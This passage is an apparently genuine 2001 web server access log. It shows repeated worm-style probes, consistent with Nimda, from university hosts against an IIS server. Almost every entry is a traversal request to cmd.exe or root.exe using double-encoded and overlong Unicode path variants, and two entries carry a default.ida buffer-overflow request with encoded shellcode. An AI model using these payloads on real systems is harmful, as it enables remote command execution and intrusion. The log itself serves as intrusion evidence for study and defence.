[128.223.53.26] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:28:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:31:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:32:05: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:20: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:21: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:22: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:33:38: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:15: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:34:16: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:57: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:57: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:37:57: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:40:04: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:40:04: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:04: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:05: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:05: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:05: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:06: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:07: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:08: oaacs136-105.oaa.uci.edu [128.200.136.105] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:40:08: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 12:41:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:23: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:53:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:37: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 12:55:39: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 13:00:11: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:28: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: nm-server.jrn.columbia.edu [128.59.96.53] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:00:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:27: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:02:28: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir 